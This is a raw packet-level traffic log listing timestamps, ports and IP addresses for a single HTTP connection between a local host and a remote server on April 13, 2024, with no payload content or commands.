Apr 13, 2024 20:21:08.703156948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703165054 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703196049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703202963 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703233957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703243971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703273058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703299046 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703308105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703320980 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703345060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703352928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703381062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703389883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703417063 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703427076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703455925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703466892 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703493118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703505993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703527927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703552008 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703563929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703572989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703600883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703638077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703646898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703674078 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703681946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703711033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703722000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703749895 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703757048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703788996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703797102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703825951 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703861952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703866959 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703901052 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703919888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703937054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703952074 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703973055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703998089 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.704009056 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.704031944 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.704045057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.704070091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.704083920 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.704113007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.704133987 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.704370975 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.704427004 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.704476118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.705435991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.705473900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.705485106 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.705518961 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.707957029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.708574057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.708638906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.708678961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.708729982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.708729982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.708729982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.708894968 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.708934069 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.708942890 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.708976030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.708982944 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.709018946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.709089041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.709137917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.709244967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.709284067 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.709291935 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.709321976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.709327936 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.709359884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.709366083 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.709395885 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.709403992 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.709433079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.709484100 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.712171078 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.712210894 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.712266922 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.712282896 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.713408947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713450909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713459969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.713496923 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.713572979 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713609934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713618040 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.713646889 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713658094 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.713685989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713692904 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.713728905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.713743925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713783026 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713788033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.713820934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713828087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.713859081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713865042 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.713896990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713903904 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.713932991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713936090 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.713970900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.713973045 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.714008093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714018106 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.714051008 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.714112997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714152098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714159966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.714189053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714199066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.714232922 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.714257956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714310884 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.714427948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714483023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.714653015 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714690924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714730978 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714739084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.714768887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714776993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.714807034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714823961 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.714847088 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714884043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.714894056 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.714931011 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715125084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715163946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715204954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715220928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715296984 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715336084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715347052 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715373039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715380907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715409040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715419054 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715446949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715456009 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715483904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715492010 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715521097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715529919 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715559006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715564966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715594053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715603113 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715630054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715636969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715668917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715677023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715706110 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715720892 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715748072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715764046 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715785027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715794086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715822935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715831995 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715862989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715869904 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715899944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715904951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715935946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715945959 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.715974092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.715990067 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716011047 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716020107 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716048002 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716058016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716084957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716099024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716123104 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716131926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716160059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716180086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716197014 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716202021 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716239929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716255903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716291904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716304064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716330051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716337919 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716367960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716377020 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716403961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716415882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716442108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716449976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716480970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716490030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716516972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716526985 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716555119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716563940 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716648102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716655970 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716685057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716692924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716727972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716734886 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716766119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716779947 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716801882 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716814995 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716840029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716849089 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716876030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716886997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716912985 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716926098 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716953039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.716972113 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.716989994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717003107 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717026949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717036963 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717062950 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717076063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717101097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717112064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717139006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717147112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717175961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717183113 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717212915 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717223883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717250109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717264891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717287064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717292070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717323065 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717330933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717360020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717370987 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717396975 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717407942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717434883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717443943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717472076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717480898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717509985 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717520952 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717550039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717561007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717588902 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717597961 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717626095 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717636108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717663050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717672110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717700958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717710972 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717742920 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717753887 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717789888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717788935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717828989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717839956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717864990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717875004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717902899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717909098 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717941999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.717951059 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.717978001 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718002081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718033075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718041897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718069077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718075991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718106985 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718118906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718142986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718178988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718187094 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718215942 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718216896 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718254089 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718261003 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718297958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718303919 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718337059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718354940 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718374014 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718379974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718410969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718415976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718446970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718453884 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718485117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718488932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718522072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718527079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718559027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718568087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718594074 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718630075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718636036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718667030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718672037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718703985 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718717098 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718740940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718779087 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718795061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718816042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718823910 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718852043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718863010 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718889952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718897104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718926907 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718935966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.718964100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.718977928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719000101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719010115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719037056 CEST	80	49739	193.233.132.167	192.168.2.4
